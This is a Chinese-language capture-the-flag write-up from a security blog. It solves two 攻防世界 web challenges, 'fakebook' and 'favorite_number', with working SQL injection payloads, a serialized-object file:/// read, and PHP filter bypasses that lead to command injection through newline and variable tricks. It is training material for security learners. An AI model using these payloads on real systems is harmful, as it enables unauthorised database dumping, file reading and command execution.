【攻防世界WEB】难度三星9分:fakebook、favorite_number
前言:
介绍:
博主:网络安全领域狂热爱好者。
殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。
擅长:对于技术、工具、漏洞原理、黑产打击的研究。
导读:
面向读者:对于网络安全方面的学者。
目录
fakebook
解题方法:
1、寻找注入点,发现反序列化函数,与序列化内容,猜测文件位置
过程:
查看robots.txt文件
发现是一个备份文件
正则匹配:在blog中要匹配到https://
现在再去注册
这个1可以点
发现进行了传参
考虑是否有:
注入
文件包含
伪协议
……
输入单引号报错
但是无法闭合
换一种方法尝试
加上and 1=1
(回显正常)
输入and 1=2
(报错)
存在注入点
查字段数
order by 4
(回显正常)
order by 5
(报错)
所以有4个字段
判断回显点
尝试绕过
/**/union/**/ select /**/1,2,3,4
发现2是回显点
爆数据库
/**/union/**/ select/**/ 1,database(),3,4
数据库为fakebook
爆表
-1 /**/union /**/ select/**/ 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=database()#
获得了users表
爆字段
-1 /**/union /**/ select/**/ 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#
爆数据
-1 /**/union /**/ select/**/ 1,group_concat(no,'~',data) ,3,4 from fakebook.users#
没啥有用信息
突然关注到反序列化函数,与这个出现了多次的路径
文件路径
/var/www/html/view.php
那么flag的路径也可能是
/var/www/html/flag.php
因为存在反序列化函数,所以我们应该注入序列化语句
使用file:///协议去访问本地计算机文件
-1 /**/union /**/ select /**/1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
但是没有显示出flag.php内容
很多flag都不显示,而在源码内,Ctrl+U查看源码
发现一段base64加密字符
PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==
解密后为
flag{c1e552fdf77049fabf65168f22f7aeab}
favorite_number
解题方法:
1、源码分析,绕过过滤,flag寻找方法
过程:
进入后就是php代码
代码1:数组
使用$_POST["stuff"]接收数组
并且限制$stuff[0] != 'admin'
可以采用数组下标溢出绕过
stuff[2^32]=admin
代码2:正则匹配
"/^\d+$/im":匹配一串数字,不能有其它字符
/m:多行匹配,有一行匹配成功,preg_match返回true
换行符:0x0a(ascii码),%0a(URL编码)
代码3:过滤关键字
1、数组:数字下标溢出绕过
2、正则匹配:%0a多行绕过
3、关键字过滤:可以拼接其他命令&&(ascii码0x26,URL编码%26)
构造payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
使用bp抓包
发现通过HackBar提交的内容被编码了
使用bp把它再改回原来的payload
然后再发送
开始寻找flag
先寻找flag的inode的索引点
payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
再通过HackBar提交,再改包
18497049 flag
读取flag
payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 18497049`
再通过HackBar提交,再改包
超时了
换一种方法
因为没过滤$,用变量拼接试试
payload:
stuff[4294967296]=admin&stuff[1]=user&num=1%0aa=f;b=lag;tac /$a$b;
cyberpeace{7d870124ba11eacef73c2c409588eadf}
- 点赞
- 收藏
- 关注作者
评论(0)